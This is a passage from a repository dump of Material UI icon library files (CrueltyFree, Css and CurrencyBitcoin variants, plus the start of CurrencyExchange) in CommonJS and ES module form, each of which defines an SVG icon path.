    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.84 14.52c-.26-.19-.62-.63-.79-.84C17.24 12.01 19 8.87 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.87 1.76 7.01 2.95 8.68-.17.21-.53.65-.79.84-.5.41-1.66 1.37-1.66 2.98 0 2.21 1.79 4 4 4 1.55 0 2.5-.56 2.5-.56s.95.56 2.5.56c2.21 0 4-1.79 4-4 0-1.61-1.16-2.57-1.66-2.98M9.35 12.2C8.34 10.7 7 8.12 7 5c0-.49.06-.8.12-.97.94.31 3.24 2.71 3.38 7.64-.47.12-.84.3-1.15.53m1.15 4.55c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75M12 19.5c-.55 0-1-.72-1-1s.45-.5 1-.5 1 .22 1 .5-.45 1-1 1m1.5-2.75c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m0-5.08c.14-4.93 2.44-7.33 3.38-7.64.06.17.12.48.12.97 0 3.12-1.34 5.7-2.35 7.2-.31-.23-.68-.41-1.15-.53\"\n}), 'CrueltyFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.88 4.03c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m9 10.77c-.44-.36-.61-.52-1.3-1.37-.76-.95-1.09-1.4-2.7-1.4s-1.94.45-2.7 1.4c-.69.85-.86 1.01-1.3 1.37-.57.49-1 1.03-1 1.73C7 18.88 8.12 20 9.5 20c1 0 1.8-.33 2.22-.56-.42-.18-.72-.71-.72-.94 0-.28.45-.5 1-.5s1 .22 1 .5c0 .23-.3.76-.72.94.42.23 1.22.56 2.22.56 1.38 0 2.5-1.12 2.5-2.5 0-.7-.43-1.24-1-1.73m-5.5.98c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m3 0c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 14c-.24-.24-.44-.49-.65-.75C17.51 11.5 19 8.56 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.56 1.49 6.5 2.65 8.25-.21.26-.41.51-.65.75-.25.25-2 1.39-2 3.5C5 19.98 7.02 22 9.5 22c1.5 0 2.5-.5 2.5-.5s1 .5 2.5.5c2.48 0 4.5-2.02 4.5-4.5 0-2.11-1.75-3.25-2-3.5m-.12-9.97c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m7.5 15c-1 0-1.8-.33-2.22-.56.42-.18.72-.71.72-.94 0-.28-.45-.5-1-.5s-1 .22-1 .5c0 .23.3.76.72.94-.42.23-1.22.56-2.22.56C8.12 20 7 18.88 7 17.5c0-.7.43-1.24 1-1.73.44-.36.61-.52 1.3-1.37.76-.95 1.09-1.4 2.7-1.4s1.94.45 2.7 1.4c.69.85.86 1.01 1.3 1.37.57.49 1 1.03 1 1.73 0 1.38-1.12 2.5-2.5 2.5m-.5-4c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75m-3 0c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75\"\n}, \"1\")], 'CrueltyFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CrueltyFreeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.88 4.03c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m9 10.77c-.44-.36-.61-.52-1.3-1.37-.76-.95-1.09-1.4-2.7-1.4s-1.94.45-2.7 1.4c-.69.85-.86 1.01-1.3 1.37-.57.49-1 1.03-1 1.73C7 18.88 8.12 20 9.5 20c1 0 1.8-.33 2.22-.56-.42-.18-.72-.71-.72-.94 0-.28.45-.5 1-.5s1 .22 1 .5c0 .23-.3.76-.72.94.42.23 1.22.56 2.22.56 1.38 0 2.5-1.12 2.5-2.5 0-.7-.43-1.24-1-1.73m-5.5.98c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75m3 0c-.28 0-.5-.34-.5-.75s.22-.75.5-.75.5.34.5.75-.22.75-.5.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 14c-.24-.24-.44-.49-.65-.75C17.51 11.5 19 8.56 19 5c0-1.95-.74-3-2-3-1.54 0-3.96 2.06-5 5.97C10.96 4.06 8.54 2 7 2 5.74 2 5 3.05 5 5c0 3.56 1.49 6.5 2.65 8.25-.21.26-.41.51-.65.75-.25.25-2 1.39-2 3.5C5 19.98 7.02 22 9.5 22c1.5 0 2.5-.5 2.5-.5s1 .5 2.5.5c2.48 0 4.5-2.02 4.5-4.5 0-2.11-1.75-3.25-2-3.5m-.12-9.97c.06.17.12.48.12.97 0 2.84-1.11 5.24-2.07 6.78-.38-.26-.83-.48-1.4-.62.24-4.52 2.44-6.83 3.35-7.13M7 5c0-.49.06-.8.12-.97.91.3 3.11 2.61 3.36 7.13-.58.14-1.03.35-1.4.62C8.11 10.24 7 7.84 7 5m7.5 15c-1 0-1.8-.33-2.22-.56.42-.18.72-.71.72-.94 0-.28-.45-.5-1-.5s-1 .22-1 .5c0 .23.3.76.72.94-.42.23-1.22.56-2.22.56C8.12 20 7 18.88 7 17.5c0-.7.43-1.24 1-1.73.44-.36.61-.52 1.3-1.37.76-.95 1.09-1.4 2.7-1.4s1.94.45 2.7 1.4c.69.85.86 1.01 1.3 1.37.57.49 1 1.03 1 1.73 0 1.38-1.12 2.5-2.5 2.5m-.5-4c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75m-3 0c0 .41-.22.75-.5.75s-.5-.34-.5-.75.22-.75.5-.75.5.34.5.75\"\n}, \"1\")], 'CrueltyFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Css.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'Css');"
  },
  {
    "path": "packages/mui-icons-material/lib/Css.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'Css');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'CssOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'CssOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10.25c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H4.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75V14c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm5.04.25c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H13v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H11v-1zm6.5 0c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1z\"\n}), 'CssRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10.25c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H4.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75V14c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm5.04.25c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1H13v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H11v-1zm6.5 0c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1z\"\n}), 'CssRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 15v-2H11v.5h2v-1H9.5V9h5v2H13v-.5h-2v1h3.5V15zm6.5 0h5v-3.5h-3.5v-1h2v.5H21V9h-5v3.5h3.5v1h-2V13H16zm-8-4V9H3v6h5v-2H6.5v.5h-2v-3h2v.5z\"\n}), 'CssSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 15v-2H11v.5h2v-1H9.5V9h5v2H13v-.5h-2v1h3.5V15zm6.5 0h5v-3.5h-3.5v-1h2v.5H21V9h-5v3.5h3.5v1h-2V13H16zm-8-4V9H3v6h5v-2H6.5v.5h-2v-3h2v.5z\"\n}), 'CssSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'CssTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CssTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 14v-1H11v.5h2v-1h-2.5c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H13v-.5h-2v1h2.5c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1m7.5 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1h2v.5H21v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H16v1c0 .55.45 1 1 1m-9-5c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H6.5v.5h-2v-3h2v.5H8z\"\n}), 'CssTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoin');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoin');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2m0-13c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v10H7c-.55 0-1 .45-1 1s.45 1 1 1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87z\"\n}), 'CurrencyBitcoinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2m0-13c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v10H7c-.55 0-1 .45-1 1s.45 1 1 1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1v-1c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87z\"\n}), 'CurrencyBitcoinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyBitcoinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.06 11.57c.59-.69.94-1.59.94-2.57 0-1.86-1.27-3.43-3-3.87V3h-2v2h-2V3H9v2H6v2h2v10H6v2h3v2h2v-2h2v2h2v-2c2.21 0 4-1.79 4-4 0-1.45-.78-2.73-1.94-3.43M10 7h4c1.1 0 2 .9 2 2s-.9 2-2 2h-4zm5 10h-5v-4h5c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'CurrencyBitcoinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyExchange.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.45-.82-1.92-2.54-2.24V5h-2v1.26c-2.48.56-2.49 2.86-2.49 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 2.9 2.96V19h2v-1.24c.4-.09 2.9-.59 2.9-3.22 0-1.39-.61-2.61-3.01-3.44M3 21H1v-6h6v2H4.52c1.61 2.41 4.36 4 7.48 4 4.97 0 9-4.03 9-9h2c0 6.08-4.92 11-11 11-3.72 